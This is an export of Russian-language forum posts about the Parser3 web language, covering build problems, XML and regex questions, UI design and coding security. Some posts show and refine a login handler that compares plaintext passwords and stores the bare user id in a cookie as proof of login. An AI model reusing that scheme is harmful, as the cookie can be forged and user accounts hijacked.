"58357","[b]Что из нижеперечисленного вам больше всего хочется видеть в следующих версиях парсера?[/b] \
\
ИМХО, по приоритетам\
1.модификаторов, позволяющих делать локальными все переменные в классе/методе\
\
2.автоматическое декодирование пришедших из JavaScript данных в формате %uXXXX \
\
3.возможность указывать кодировку локально загружаемых/сохраняемых файлов\
\
4.более полную реализацию bool: ^var.bool(true|false), ^if($var is \"bool\"){}{} и т.д.\
\
5.возможность работы с несколькими <input type=\"file\" /> с одинаковым @name \
\
6.чтобы парсер имел больше функций по работе с изображениями: изменение формата и размеров, поворот и т.п.\
\
Остальное можно в бонус. Имприматур отучит птицеводов думать, т.к. все уже готово, писать особо и не придется. Хотя, чтобы привлечь бОльшую аудиторию, в целях рекламы, можно впихнуть."
"58358","Сейчас всё перекрутил, теперь парсер сам более менее нормально работает (от линуха не спас), а вот обращения к sql жутко тормозят.\
Пробовал с cgi-bin/lib/ ставить все sql-евские библиотеки скачанные с parser.ru, работает тоже только одна.\
\
основная библиотека, которая лежит на серваке в /usr/local/lib/mysql/ не пашет вообще. Нашел какую то замену ей, в итоге заработала, но с тормозами такими как сейчас. Последняя надежда что это всё таки из-за неё.\
А в и-нете нигде не могу найти вообще практически ни одной.\
К тому же та, которая кое как работает с кодировками что то не то мутит =(\
\
Подскажите плз где покачать мона =( Или может кто пришлет мене таковую? ась: 4557527"
"58359","я правильно понял, что сейчас тормозит работа с sql, а все остальное в норме? если да, то попробуйте работать с mysql через сокеты, а не по tcp/ip.\
\
библиотеку libmysqlclient можно скачать с сайта mysql.com или с [url=\"/forum/?id=57923\"]freebsd.org[/url], но лучше уточнить у админов где живет правильная библиотека на вашем хостинге."
"58361","sanych@sanych.com"
"58362","6 считаю не нужным, т.к. есть вариант, что Парсер немного изменится.\
Я предпочитаю Perl+ImageMagic.\
\
\
А еще 1 переместил бы в +++1, т.к. это важно. Жду возможности с @OPTION.\
\
\
P.S. Про Имприматур того же мнения..."
"58364","но уж больно хочется хоть одним глазком в имприматур заглянуть. :)"
"58365","А то я смотрю - желающих его увидеть много. Только вот включать его в дистрибутив Парсера не вижу смысла. Лучше сделать отдельный сайт по нему. Типа Мауса. Демо версия. С кодами и т.п. Я бы посмотрел его из интереса, и для опыта написания кода. Но качать его вместе с Парсером - дико. На аську смахивает. Нужен мессенджер - получи еще кучу игр, экстрас, рекламу, и все это абсолютно бесплатно! :). Поэтому я юзаю миранду. Т.е. только то, что мне нужно. А добавить плагин я могу в любой момент.\
\
P.S. Надеюсь в новой версии не забудят поправить баг с хеш-файлами. Очень он больно бьет. Жду недождусь патча."
"58367","Кто-то может проголосовать как раз за fun вариант раз он есть :)\
Как по мне, то исходники имприматура я бы посмотрел, в целях самообразования. \
\
А по поводу реально нужных вещей соглсен со списком уже тут озвученым"
"58368","но ИМ есть не везде. А работать с изображениями приходится не редко. Мне во всяком случае. Если бы не нконверт, даже не знаю, чтобы делал. Но Нконверт жрет немеряно ресурсов, и считается юзерским процессом, что пагубно влияет на работу сайта в целом. А Перл требует дополнительных навыков. Если бы в Парсере был простой набор функций работы с графикой, было бы проще. Как я понимаю, разработчики просто думают подцепить еще одну либу (не удивлюсь, если это будет ИМ), так что не думаю, что это сложно. Как минимум бы хотелось, чтобы Парсер умел менять размер и формат графики. Блуры, вотермарки и все такое не критично."
"58369","во многих конторах он заблокирован.\
\
Проще нарезать файл на мелкие куски, посчитать CRC каждого куска, последовательно их закачать с помощью ActiveX Интернет Эксплорера (нужен будет бэкенд на сайте, который склеит куски).\
\
Если воспользуетесь IE control'ом, вам не надо будет заморачиваться настройкой прокси и т.п."
"58370","почему?\
\
потому что все остальное из перечисленного легко решается средствами Parser,\
\
а с изображениями приходится привлекать посторонние утилиты."
"58371","Захотел собрать Parser 3.2.1 из исходников и вот с чем столкнулся. У меня Мас с Intel и есть на нем только GCC 4 (хотя теоретически наверно есть и gcc 3..., но боюсь что он не сделает код, оптимизированный под Intl) . Первое, с чем столкнулся, так это с тем, что на маке нет wget ( Но с этим вопрос быстро решился. Далее - не хочет собираться gclib 6.6 - но собрались версии 6.7, 6.8 - теоретически они подойдут ??? Ну и далее начались ошибки как тут http://www.parser.ru/forum/?id=55598 . Часть \"опечаток\", какие можно поправить по аналогии я поправил. Но есть такие, какие не получается исправать.  Вопрос - никто не работал над тем, что бы \"подправить\" код под GCC 4 ?"
"58372","Я пробовал собирать, но пока забросил, поскольку libgc (в моем случае любых версий) на Маке просто не собирается (нужно патчить исходники, особенно те места, где он определяет платформу на которой работает). Возможна Константин где-то нашел патчи (я правда не особо и искал) или сам пропатчил. :)"
"58373","Оттуда у него забрал сборку - в принципе она работает ( еще с MySQL только не разобрался). Но - это сборка под PowerPC процессор и у меня она работает в режими эмуляции данного процессора - что не есть хорошо. \
А у меня libgc собирается без проблем (6.7, 6.8) Правда только использую gcc-4\
Под gcc-3 сразу вываливается\
[code]checking for gcc... gcc\
checking for C compiler default output file name... configure: error: C compiler cannot create executables\
See `config.log' for more details.[/code]\
На всякий случай могу такую инфу дать о машине \
[code]dministrators-computer:~/src/gc6.7 user$ uname -a\
Darwin administrators-computer.local 8.8.1 Darwin Kernel Version 8.8.1: Mon Sep 25 19:42:00 PDT 2006; root:xnu-792.13.8.obj~1/RELEASE_I386 i386 i386\
administrators-computer:~/src/gc6.7 user$ gcc-4.0 -v\
Using built-in specs.\
Target: i686-apple-darwin8\
Configured with: /private/var/tmp/gcc/gcc-5250.obj~20/src/configure --disable-checking -enable-werror --prefix=/usr --mandir=/share/man --enable-languages=c,objc,c++,obj-c++ --program-transform-name=/^[cg][^.-]*$/s/$/-4.0/ --with-gxx-include-dir=/include/c++/4.0.0 --build=powerpc-apple-darwin8 --with-arch=pentium-m --with-tune=prescott --program-prefix= --host=i686-apple-darwin8 --target=i686-apple-darwin8\
Thread model: posix\
gcc version 4.0.1 (Apple Computer, Inc. build 5250)\
administrators-computer:~/src/gc6.7 user$ gcc-3.3 -v\
Using built-in specs.\
Thread model: posix\
gcc version 3.3 20030304 (Apple Computer, Inc. build 1819)[/code]"
"58377","А он начинанет ругаться на ошибке в коде (см ссылку в первом посту) - как я понял код чуть-чуть не рассчитан на gcc-4"
"58379","займётесь? ;)"
"58380","думаю, это логично.\
вот Last-Modified и ETag кто-то же выключил, вот и этого не выдаётся.\
\
вопрос к разработчикам Apache.\
\
если очень нужно, возможно, в Apache 2.0 можно это хитровключить."
"58381","кажется, на http://www.streamphoto.ru/ как-то так сделано.\
\
в общем, качать кусочками и на сервере клеить.\
клеить можно тем же parser'ом.\
если клиенты виндовые, то соорудите ActiveX, должно несложно выйти.\
и очень возможно, что есть такой бесплатный/платный готовый.\
\
запасной вариант:\
пришлите клиенту .zip, где будет\
* консольный архиватор \
* консольный web-клиент, умеющий делать post файла (уверен, найдутся). важно, чтобы умел вынимать настройки proxy из MSIE\
* .bat-ничек\
где \
* запускайте консольный архиватор на предопределённое имя файла, чтобы он нарезал на разумные куски.\
* после чего, забрасывал эти куски, один за другим по http\
* сообщал об успехе/неуспехе"
"58382","посмотрим. если меньше сотни, думаю, сумеем."
"58383","Подскажите, пожалуйста, как сделать пунктирное подчеркивание у ссылок?\
Заранее спасибо."
"58384","http://www.xquery.com/tutorials/guided-tour/combine-restructure-nodes.html\
\
кто-нибудь возьмётся встроить в parser?"
"58385","Взял из CVS 3.2.1\
Вот какая ошибка выходит при make\
[code]gcc  -g -O2   -o parser3  pa_threads.o parser3.o getopt.o ../../main/libmain.a ../../classes/libclasses.a ../../types/libtypes.a ../../main/libmain.a ../../lib/gd/libgd.a ../../lib/cord/libcord.a ../../lib/pcre/libpcre.a ../../lib/md5/libmd5.a ../../lib/sdbm/libsdbm.a ../../lib/smtp/libsmtp.a ../../../src/lib/ltdl/libltdlc.a -ldl -L/Users/user/gc/gc68lib/lib/ -lgc   -Wl,-Bstatic -lstdc++ -Wl,-Bdynamic -lm \
/usr/bin/ld: unknown flag: -Bstatic\
collect2: ld returned 1 exit status\
make[3]: *** [parser3] Error 1\
make[2]: *** [all-recursive] Error 1\
make[1]: *** [all-recursive] Error 1\
make: *** [all-recursive] Error 1[/code]"
"58386","Вставляю с помощью этого http://www.parser.ru/examples/js_http_request/ класса в страницу код вида \
[code]<script language=\"javascript\">\
	alert('TEST') ;\
        document.getElementById('str1').value  = 'Str';\
</script>[/code]\
Но окно не выводится, значение не присваивается.\
Получается, что вставляя  javascript код он не выполняется ?"
"58387","[code]\
<style>\
a {\
text-decoration: none;\
border-bottom: 1px dashed;\
cursor: pointer; cursor: hand;\
}\
</style>\
<a href=\"#\">qwerty</a>\
[/code]"
"58389","Насчет IMP согласен полностью.\
Насчет приоритетов:\
\
Для меня болше значение имеет работа с изображением: \"...задолбало подключасть Perl/PHP модули, чтобы просто отресайзить картику...\".\
Сделал бы с удовольствием и сам, да вот только с университета у меня как-то неоднозначно сложились с Cи отношения..."
"58391","Ситуация странная, выполняю простейшее:\
\
[code]$file[^file::load[text;$var]][/code]\
\
где $var это: http://news.yandex.ru/Samara/index.rss переданная через \
POST\
\
Получаю:\
\
[code]\
'http://news.yandex.ru/Samara/index.rss' does not start with http:// [<no type>][/code]\
\
Если напрямую \
\
[code]\
$file[^file::load[text;http://news.yandex.ru/Samara/index.rss]]\
[/code]\
\
То всё работает.\
\
Попробовал\
\
[code]\
$file_path[^taint[file-spec][$var]]\
$file[^file::load[text;$file_path]]\
[/code]\
\
То же неработает.\
\
Что это значит ???"
"58392","[code]\
^taint[as-is][$var]\
[/code]"
"58394","Есть файл ab.xml:\
[code]<?xml version=\"1.0\" encoding=\"windows-1251\" ?> \
<A>\
<b id='1'>\
<item value='11...'/>\
<item value='12...'/>\
<item value='13...'/>\
<item value='14...'/>\
<item value='15...'/>\
<item value='16...'/>\
</b>\
<b id='2'>\
<item value='21...'/>\
<item value='22...'/>\
<item value='23...'/>\
<item value='24...'/>\
<item value='25...'/>\
<item value='26...'/>\
</b>\
<b id='3'>\
<item value='31...'/>\
<item value='32...'/>\
<item value='33...'/>\
<item value='34...'/>\
<item value='35...'/>\
<item value='36...'/>\
</b>\
</A>[/code]\
\
пишем такой скрипт ab.html и вызываем ab.html?id=2:\
[code]\
@main[]\
$xdoc[^xdoc::load[ab.xml]]\
\
$list[^xdoc.select[/A/b[@id=\"$form:id\"]]]\
<hr>\
\
$node[$list.0]\
\
$xdoc1[^xdoc::create[A]]\
$root[^xdoc1.selectSingle[A]] \
\
$R[^root.appendChild[$node]]\
^taint[xml][^xdoc1.string[$.method[html]]]\
[/code]\
в итоге получается:\
[code]<A><b id=\"2\"> <item value=\"21...\"></item> <item value=\"22...\"></item> <item value=\"23...\"></item> <item value=\"24...\"></item> <item value=\"25...\"></item> <item value=\"26...\"></item> </b> \
<b id=\"3\"> <item value=\"31...\"></item> <item value=\"32...\"></item> <item value=\"33...\"></item> <item value=\"34...\"></item> <item value=\"35...\"></item> <item value=\"36...\"></item> </b> </A>[/code]\
т.е. цепляется <b id=\"3\"> :((\
если написать $list[^xdoc.select[/A/b[@id=\"$form:id\"]/item]]\
то получается:\
[code]<A><item value=\"21...\"></item> <item value=\"22...\"></item> <item value=\"23...\"></item> <item value=\"24...\"></item> <item value=\"25...\"></item> <item value=\"26...\"></item> </A>[/code]\
не берется сам тег <b id=\"2\"> :(\
как быть???"
"58395","но это как-то извратно\
может можно как-то по другому?"
"58396","сделал точно так, но выдает ошибку default option must be code"
"58397","[code]\
@main[]\
\
$xdoc[^xdoc::load[ab.xml]]\
\
$xChild[^xdoc.selectSingle[/A/b[@id=\"$form:id\"]]]\
\
$root[^xdoc.selectSingle[A]]\
$Node[^root.removeChild[$xChild]]\
\
$xdoc1[^xdoc::create[A]]\
$root1[^xdoc1.selectSingle[/A]] \
\
$R[^root1.appendChild[$xChild]]\
<pre>^taint[xml][^xdoc1.string[$.method[html]]]</pre>[/code]\
\
если убрать строку $Node[^root.removeChild[$xChild]]\
то работает как я описывал выше\
не понятно почему так происходит???"
"58398","Вот я проголосовал за пункт \"imprimatur\", причём на полном серъёзе. Я знаю, что есть старая версия, написанная на Parser, и более новая, используемая сейчас - и подумал, что вы обсуждаете, не сделать ли старую общедоступной.\
\
Парсеру не хватает готового полнофункционального примера сайта - говорил раньше и повторюсь сейчас. На php есть горы кода, ruby on rails поставляется с готовым движком блога, а новичку в parser и посмотреть-то не на что."
"58400","Xml вижу.\
Напиши что нужно сделать с каким именно узлом ($form:id = ?)"
"58404","Не подскажете юзеру, как быстро сделать следующее:\
строку надо преобразовать в вид %hex_of_symbol1%hex_of_symbol2... \
Это почти полный аналог taint[uri], только надо все символы преобразовывать. Зачем нужен такой изврат? очень просто, для подсовывания в unescape(...). Типа защита от хакеров.\
PS. Желательно, конечно же, обойтись без таблицы подстановок."
"58405","А поставьте в JavaScript обработчик req.onreadystatechange и посмотрите, что реально уходит в браузер. Например,\
    req.onreadystatechange = function() \
    { \
        var s = req.readyState;\
        if(s == 4)\
        {\
            alert(req.responseText);\
        }\
    }\
Если wrapper ловит exception, он вызывает Subsys_JsHttpRequest_Js.dataReady(...), который вызовет ваш кастомизированный обработчик.\
Что касается Вашего конкретного кода, я думаю, что если результат подается в eval(...), то точки с запятой нужно экранировать, а конструкция <script>...</script> вообще не нужна."
"58407","В $x какойто текст, встречаются метасимволы, решил заэкранировать все!\
$x[^x.match[(.)][gi]{\\$match.1}] экранирую все символы\
$y[^z.match[.*($x).*][]{$match.1}] если в $x заэкранированная цифра то вылетает ошибка,\
если не цифра все норм.\
Почему неработают экранированные цифры?"
"58411","В $x -> TV7\
к примеру"
"58412","СПС!"
"58413","[code]\
$z[zxsefgsgTV7wewergwerg]\
$x[TV7]\
$y[^z.match[.*($x).*][]{$match.1}]\
=$y=\
[/code]\
\
без ошибок выводит: =TV7="
"58417","[code]###########################################################################\
# арктангенс частного, аналог atan2() из php\
@atan2[y;x][atan;sign;res]\
\
$sign[^if($y==0){1}{^math:sign($y)}]\
\
^if($x > 0){\
  $atan[^math:atan(^math:abs($y/$x))]\
  $res($atan*$sign)\
}\
^if($x < 0){\
  $atan[^math:atan(^math:abs($y/$x))]\
  $res(($math:PI-$atan)*$sign)\
}\
^if($x == 0){\
  $res(($math:PI/2)*^math:sign($y))\
}\
# затычка для неверного автоформатирования отрицательных чисел\
$result[^res.format[%.99f]]\
#$result($res)\
\
# END atan2\
###########################################################################[/code]"
"58418","[code]\
# в $sing бывает 1 или -1, незачем брать sing и его сравнивать, всё можно сделать одним сравнением\
$sign(^if($y<0){-1}{1})\
\
# а тут вместо 3-х if лучше использовать 1 switch и убрать промежуточную строковую переменную $atan\
^swith(^math:sign($x)){\
	^case(1){\
		$res($sign*^math:atan(^math:abs($y/$x)))\
	}\
	^case(-1){\
		$res($sign*($math:PI-^math:atan(^math:abs($y/$x))))\
	}\
	^case(0){\
		$res(^math:sign($y)*$math:PI/2)\
	}\
}\
...\
[/code]"
"58419","Я вот о чем говорил\
$z[^z.match[(.)][gi]{\\$match.1}]\
\
$z[zxsefgsgTV7wewergwerg]\
$x[TV7]\
$y[^z.match[.*($x).*][]{$match.1}]\
=$y="
"58420","между кодом, который вы запостили сейчас, и кодом, который я copy/paste из ваших предыдущих сообщений и затем привел в своём ответе.\
\
он - одинаков, и работоспособен (прежде чем писать - я проверил).\
\
единственное отличие - в первой строке, в которой вы пытаетесь вызвать .match у неопределенной переменной (т.е. void), которая этого метода не имеет (о чем парсер и пишет). кроме того непонятно, что вы ожидаете от первой строки. вашего кода.\
\
P.S. пожалуйста, почитайте FAQ. если вы хотите получить комментарии по вашему коду - приводите его целиком и объясняйте, что вы хотите от него получить. последующие сообщения без этих пояснений буду просто удалять."
"58425","Графики без него угловатые выходят http://www.spearance.ru/parser3/chart/"
"58428","Т.е. ситуация такая.\
\
Есть рубрикатор товаров со вложенными категориями. Т.е. у каждой категории может быть одна или несколько подкатегорий, в свою очередь у который также могут быть \"дети\". Пример: http://market.yandex.ru\
Для примера, возьмем следующий набор категорий (вложения выделяются отступом - TAB):\
\
[code]\
КОМПЬЮТЕРЫ\
	Настольные\
		По-слабее\
		По-мощнее\
	Ноутбуки\
		Большие\
		Маленькие\
	Серверы	\
ТЕЛЕФОНЫ\
	Мобильные\
		Раскладушки\
		Слайдеры\
		Ни те ни другие\
	Стационарные\
		Радиотелефоны\
		Простые, без наворотов\
	Спутниковые\
[/code]\
\
Вам нужно реализовать в админской части сайта возможность добавить товар. Помимо общий полей, типа \"Название\", \"Описание\", \"Цена\" есть еще параметр \"Категория\", который нужно указать при добавлении товара.\
\
Если бы у нас не было вложенной структуры категорий, то все можно было бы решить простым выпадающим списком:\
[code]\
<SELECT>\
	<OPTION value=\"1\">Категория 1</OPTION>\
	<OPTION value=\"2\">Категория 2</OPTION>\
	<OPTION value=\"3\">Категория 3</OPTION>\
</SELECT>\
[/code]\
\
Но в том то и дело, что категории у нас разного уровня вложенности. Поэтому придется применять другой способ.\
\
Я знаю 5 способов выбора категории в данном случае:\
\
СПОСОБ 1\
\
Создаем тот же выпадающий список SELECT, что и в самом начале, только при этом перечисляем и вложенные категории.\
[code]\
КОМПЬЮТЕРЫ\
- Настольные\
-- По-слабее\
-- По-мощнее\
- Ноутбуки\
-- Большие\
-- Маленькие\
- Серверы	\
ТЕЛЕФОНЫ\
- Мобильные\
-- Раскладушки\
-- Слайдеры\
-- Ни те ни другие\
- Стационарные\
-- Радиотелефоны\
-- Простые, без наворотов\
- Спутниковые\
[/code]\
[code]\
<SELECT>\
	<OPTION value=\"1\">КОМПЬЮТЕРЫ</OPTION>\
	<OPTION value=\"14\">- Настольные</OPTION>\
	<OPTION value=\"28\">-- По-слабее</OPTION>\
	<OPTION value=\"29\">-- По-мощнее</OPTION>\
	<OPTION value=\"15\">- Ноутбуки</OPTION>\
	...\
</SELECT>\
[/code]\
\
СПОСОБ 2\
\
Такой же, как и здесь http://www.irr.ru/addAdvert.do?rid=34&cid=1\
Т.е. выпадающий список корневых категорий, выбираем в нем элемент, тут же JS добавляет следующий выпадающий список с подкатегориями выбранной категории и т.п., до тех пор, пока пользователь не выберет нужную ему категорию.\
\
СПОСОБ 3\
\
Похож на СПОСОБ 2, только в форме добавления товара есть скрытое поле формы, в котором должен храниться идентификатор категории и ссылочка «Выбрать категорию», а которую мы давим, выскакивает окошко, предлагающее выбрать катеорию, похоже на СПОСОБ 2, только когда наконец пользователь доходит до нужной ему категории, давить кнопку «Выбрать эту категорию» и идет JS запрос от окна выбора категории к окну, которое вызвало всплывающее окошко. Т.е. примерно как на этом форуме по парсеру выскакивает окно добавления ответа или темы, а после нажатия на кнопку «Добавить» идет обновление основной страницы форума.\
\
\
СПОСОБ 4\
\
Вид, как дерево папок в Проводнике в Windows. Выбор осуществляется с помощью <INPUT type=\"radio\">. Сначала перечисляются корневые директории, а при щелчке по [+] раскрывается список внутренних подкатегорий. (о) - это <INPUT type=\"radio\">\
[code]\
[-] (о) КОМПЬЮТЕРЫ\
	[+] (о) Настольные\
	[+] (о) Ноутбуки\
	[+] (о) Серверы\
[+] (о) ТЕЛЕФОНЫ\
[/code]\
\
СПОСОБ 5\
\
Ходим по рубрикатору и на каждой странице есть ссылочка, типа http://example.com/item_add.html?Category=126 пройдя по которой переходим в форму добавления товара, где в поле <INPUT type=\"hidden\"> уже вписан идентификатор категории (126), остается заполнить оставшиеся поля по товару и все.\
\
ВОПРОС\
\
Может у кого-то есть способы лучше? Хотелось бы посмотреть, т.к. у каждого из этих способов есть свои недостатки. Может быть есть что-то более удобное."
"58432","можно нарисовать в два-три раза больше и уменьшить, парсер при уменьшении использует билинейный алгоритм интерполяции, для антиалиасинга вполне подходит."
"58433","Понятно. Правда это я пытался шутливо. Но кто как разберет. Согласен, можно и так растолкавать. Извините.\
\
В таком случае, я хочу попросить узнать правила форума. Могу ли я рассчитывать на то, чтобы включать объявление о приеме на работу людей, владеющих Парсером?"
"58435","создавать и поддерживать тут \"кодекс\" никто не будет.\
\
правил как таковых нет (однако ожидается, что посетители форума знают, что такое сетевой этикет и придерживаются его), но любые \"наезды\", сообщения содержащие большое количество ненужных эмоций (в том числе в виде заглавных букв), любые \"религиозные\" споры о лучшем/худшем броузере/ОС/языке и т.п. удаляются. по мере возможностей перед удалением я стараюсь отправлять уведомление в почту, однако на некоторые сервера почта от нас не доходит + не все почту проверяют.\
\
предложения работы, связанной с парсером тут не удаляются."
"58436","может подойдет, хотя там вроде UTF-8 только..."
"58437","Это разовая работа по компиляции Парсера под разные хостинги. Сейчас требуется скомпилировать под Солярис 5.9 (для хостинга nodex.ru). Оплату гарантирую. Пишите: info@delta-x.info"
"58438","он перестанет компоноваться статически.\
\
configure.in\
[code]\
AC_ARG_WITH(dynamic-stdcpp, [  --with-dynamic-stdcpp   link libstdc++ dynamically\
                          by default, libstdc++ is linked statically],[\
	AC_MSG_WARN(libstdc++ will be linked dynamically: this is probably incompatible with other platforms)\
	# this is for apache, it's linked with gcc and need to know\
	# and it would not harm linking with c++ toolchain\
	CPP_LIBS=\"-lstdc++\"\
],[\
	CPP_LIBS=\"-Wl,-Bstatic -lstdc++ -Wl,-Bdynamic\"\
])\
[/code]"
"58439","[quote]\
On Friday 26 January 2007 20:23, you wrote:\
Frans,\
regretfully, I could not figure out where to download and test the\
Patternist.\
Could you suggest, please?\
[/quote]\
\
Hello Alexander,\
Yes. I have updated the documentation to reflect this. See: \
http://patternist.sourceforge.net/documentation/API/\
\
So, I would say that at the moment, running Patternist is not recommended \
unless you want to dig in the internals -- but you are very welcome to!\
\
If you have comments, questions or suggestions they are very welcome as well."
"58440","Теперь на этом затык\
[code]gcc  -g -O2   -o parser3  pa_threads.o parser3.o getopt.o ../../main/libmain.a ../../classes/libclasses.a ../../types/libtypes.a ../../main/libmain.a ../../lib/gd/libgd.a ../../lib/cord/libcord.a ../../lib/pcre/libpcre.a ../../lib/md5/libmd5.a ../../lib/sdbm/libsdbm.a ../../lib/smtp/libsmtp.a ../../../src/lib/ltdl/libltdlc.a -ldl -L/Users/user/gc/gc68lib/lib/ -lgc   -lstdc++ -lm \
/usr/bin/ld: Undefined symbols:\
__Unwind_Resume\
collect2: ld returned 1 exit status[/code]\
---------------------------------------\
Команды такие : \
(кстати, странно, но --with-static-gc вообще никак не катит ни под каким соусом)\
./configure --with-shared-gc=/Users/user/gc/gc67lib/lib/  --with-dynamic-stdcpp\
make"
"58441","пример дла затравки, который нужно сохранить в кодировке UTF-8 локально, убедиться что с русскими буквами все работает (это copy/paste рабочего примера), заменить русские 'абв' и 'АБВ' на аналогичные строки с турецкими символами, попробовать запустить, а потом прислать мне на misha@дальшесамизнаете:\
\
[code]\
@main[]\
$request:charset[UTF-8]\
$response:charset[UTF-8]\
$response:content-type[\
	$.charset[$response:charset]\
	$.value[text/html]\
]\
\
$sLower[абв]\
$sUpper[АБВ]\
\
$sLowerOrg[$sLower]\
$sUpperOrg[$sUpper]\
\
Lower original: $sLowerOrg<br />\
Upper original: $sUpperOrg<br />\
\
$sLower[^sLower.upper[]]\
^^sLower.upper[]: $sLower [^if($sLower eq $sUpperOrg){correct}{incorrect}]<br />\
$sUpper[^sUpper.lower[]]\
^^sUpper.lower[]: $sUpper [^if($sUpper eq $sLowerOrg){correct}{incorrect}]<br />\
[/code]"
"58443","[quote]\
And XQuery, being far superior then just XPath and DOM, is pretty much like Parser in a way.\
...\
So XQuery would be very native and understandable by Parser users.\
I feel, that integrating XQuery into Parser would give a big new value to a language.\
[/quote]\
Ok, feel free to keep me in the loop of technicalities in case you decide to try to integrate Patternist, such that I can possibly alter the code for your needs, and that we therefore keep branching to a minimum."
"58444","увы, значит этой либы в данном случае недостаточно, чтобы скомпоновать c++ приложение (на других платформах всегда было достаточно, но всегда что-то бывает впервые).\
\
варианты:\
1. в Makefile поправьте \
CXXLD=gcc \
на \
CXXLD=g++\
посмотрим (потом достаточно просто make)\
\
2. если и это не взлетит, руками запустите приведённую команду, заменив там gcc на g++ и убрав -lstdc++"
"58445","Здравствуйте! Я хочу купить уже готовые классы на Парсере, возможно немного измененные под мои требования.\
\
Сейчас мне требуется классы, реализующие работу с популярными платежными системами.\
\
info@delta-x.info"
"58446","Этого варианта кстати в списке нет.\
\
Вот пример:\
http://www.scbr.com/docs/products/dhtmlxTree/index.shtml"
"58447","У меня при запросе некоторого парсерного файла происходит проверка на доступ (проверка осуществляется с запросом в базу, данные о пользователе передаются через куки).\
Возникла такая проблема: когда я делаю вещи типа:\
[code]^xdoc::load[http://mysite.ru/users/get_tree.html][/code]\
файл get_tree.html выдает отказ в доступе вместо xml по причине того, что ему не пришли куки и соответственно не определился пользователь. (Это нормально, что они не пришли?)\
Думаю в проверку прав встроить, чтобы если к файлу обращается сам парсер, то ему всегда все разрешать. А как точно определить, что файл запрашивает парсер, а не пользователь? Можно по $env:HTTP_USER_AGENT, но это не слишком хороший вариант... :)"
"58448","-> это дерево вырастет до 100 строчек. Не очень удобная форма добавления товара получится. Но, кстати, все равно спасибо.\
\
Не очень ясно, зачем чекбоксы, если товар добавляется в одну категорию. Хотя если делать, чтобы товар был в разных, тогда да."
"58450","если вы можете вмешаться и в отправляющий запрос код и в принмающий его, то вы можете передавать дополнительные параметры (time, referer), включая проверочный (^math:md5[секретное слово=time=referer])\
\
принимающая сторона делает аналогичное вычисление md5 и в случае совпадения с пришедшим значением отдает файл без кук. секретное слово по открытым каналам не передается, соотв. узнать его сложно.\
\
что касается кук, то они передаются в http заготовках, и если вы сами составляете запросы, то вы можете сформировать и заголовки с куками, которые были предварительно приняты в предыдущем запросе и ручками сохранены."
"58451","Соляра - не open-source, а коммерческая система, просто так скачать iso-файл, запустить его под VMware и запустить \"./build-all\" не получится. Надо сначала пройти длинную регистрацию и выложить деньги за OS.\
\
Предложите деньги сотрудникам support - это гороздо более реалистичный вариант."
"58456","каждую отдельную запись можно привязать к n-категорий... Без дерева я бы застрелился."
"58459","http://www.sun.com/software/solaris/\
Тут написано \"Get it Now. FREE\""
"58461","^if(def $form:login_post){\
	^connect[$connect_string]{\
		$org[^string:sql{SELECT id FROM org WHERE `login` = '$form:login'}]\
		$pass[^string:sql{SELECT password FROM org WHERE login = '$form:login'}]\
		$id(^int:sql{SELECT id FROM org WHERE login = '$form:login'})\
		^if($form:password eq $pass){\
			$cookie:login[$id]\
			}{Неправильно введен пароль!\
			}\
		}\
}\
\
Это обработчик формы авторизации.\
Может сам подход изначально неверен?"
"58463","Уважаемые, я хотел бы обсудить безопасность написания программ на Парсере.\
\
Обращаю внимание, что вопрос состоит не в безопасности самого Парсера, а именно программирования на нем.\
\
В интернете много движков с открытыми кодами на PHP. И много описано о них, что там, сям, сплошные уязвимости и дыры в движках этих.\
\
В Парсере встроены функции, обеспечивающие безопасное написание кода. Вот эта особенность меня и интересует. Вопрос такой:\
\
Насколько безопасно программирование на Парсере по отношению к PHP?"
"58464","...нечего продать? В чем дело?"
"58465","Программироват и на PHP, и на Парсере одинаково безопасно, если у вас руки растут из того места, откуда они и должны расти."
"58466","Класс форума, блога, чата, галереи с единой базой пользователей. сколько будет стоить?"
"58467","Но страхует от некоторых массовых ошибок, например, от возможности SQL injection."
"58468","[code]\
^if(def $form:login_post){\
	^connect[$connect_string]{\
		$tUser[^table::sql{\
			SELECT\
				id, password\
			FROM\
				org\
			WHERE\
				login = '$form:login'\
		}]\
		^if($form:password eq $tUser.password){\
			$cookie:login[$tUser.id]\
		}{Неправильно введен пароль!}\
	}\
}\
[/code]"
"58471","Уважаемые, я предлагаю создать биржу, на которой можно было бы размещать предложения по классам на Парсере и объявления о необходимости прикупить тот или иной класс. \
\
То есть, на этой бирже можно прикупить себе класс, разместить на продажу свой класс, разместить объявление, что хотелось бы купить. Каждый класс будет вести профессионал - делать новые версии, вести документацию, давать гарантии по своей работе, делать техподдержку. Продавать нужно не просто класс, а лицензию на использование - допустим одна лицензия на один домен.\
\
Как вы на эту идею смотрите?"
"58472","de facto parser3, конечно, более безопасен.\
к примеру, реализованы:\
* safe mode (доступ только к файлам своей группы)\
* защита от sql-injection (в конструкторах возможен только один sql-запрос)\
* механизм tainting \
\
ну и ряд других нюансов есть.\
\
Только это ничего не даст, если разработчик не понимает как работает web-сервер. Ошибки совершают программисты, а не языки.\
\
Возможно, бывают случаи что сам интерпретатор дырявый, и одного его наличия в системе достаточно, чтобы совершить некие несанкицонированные действия. Но я о таких случаях ничего не слышал. ИМХО, 99,99% уязвимостей создают разработчики самих скриптов."
"58473","... чтобы искать классы.\
\
Но что-то там про документацию, тех. поддержку. Я думаю с этим будет сложно у многих разработчиков. Я заметил некоторые даже по-русски написать не могут (не считая только ошибки).\
\
А администратор биржи может бесплатно пользоваться всеми классами? ;-)\
\
P.S. Вы уверены, что сможете довести до открытия такой проект?"
"58474","Уважаемый, я думаю с биржей вам не сюда надо.\
Здесь как правило сидят люди которые могут\
(и им это интересно) создавать код и решать\
задачи. Об этом на форуме и общаемся.\
С торговлей не сюда. Ведь вы, как я\
понимаю, не написать класс не откомпилировать \
парсер не в состоянии? Так вот, вам не сюда.\
\
Это мое личное мнение."
"58475","Насчет торговли интересно...\
\
А объявления для работы?"
"58476","У меня есть такой класс Debug.p.\
\
Который мне удобно выводит debug-информацию. Делать это он может успеть до того, пока в коде вылетит ошибка. Т.е. на каждом действии он обновляет log-файл.\
\
Методы класса:\
\
[b]1. init.[/b]\
[i]Для инициализации объекта.[/i]\
\
[b]2. event[/b]\
[i]Основной метод, чтобы вызвать \"событие\".[/i]\
[code]\
$oDebug.event[название_события;хэш_параметров_переданных_в_метод]{дополнительный_код}\
[/code]\
\
[b]3. item[/b] - для вызова в \"дополнительном_коде\"\
[i]Производит \"обследование\" переменной.[/i]\
\
[b]4. warning[/b] - для вызова в \"дополнительно_коде\"\
[i]Добавляет важное сообщение.[/i]\
\
\
